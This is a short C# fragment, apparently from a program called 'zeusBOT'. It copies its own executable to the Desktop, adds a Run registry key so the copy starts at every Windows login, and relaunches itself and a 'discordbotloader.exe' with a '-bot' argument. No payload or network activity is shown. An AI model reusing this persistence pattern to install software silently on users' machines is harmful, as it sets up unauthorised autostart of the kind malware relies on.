var currentAssembly = System.AppContext.BaseDirectory;string sourceFile = Path.Combine(currentAssembly, System.Environment.ProcessPath);//Console.WriteLine(sourceFile);string destPath = string.Format(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\zeusBOT" + "zeus.exe");File.Copy(sourceFile, destPath, true);RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);reg.SetValue("zeus", destPath.ToString() + " %bot");System.Diagnostics.Process process = new System.Diagnostics.Process();process.StartInfo.FileName = System.Environment.ProcessPath;process.StartInfo.Arguments = "-bot";process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal;process.StartInfo.UseShellExecute = true;process.Start();process.WaitForExit();
System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "discordbotloader.exe"; process.StartInfo.Arguments = "-bot"; process.StartInfo.WindowStyle = ProcessWindowStyle.Normal; process.Start(); process.WaitForExit();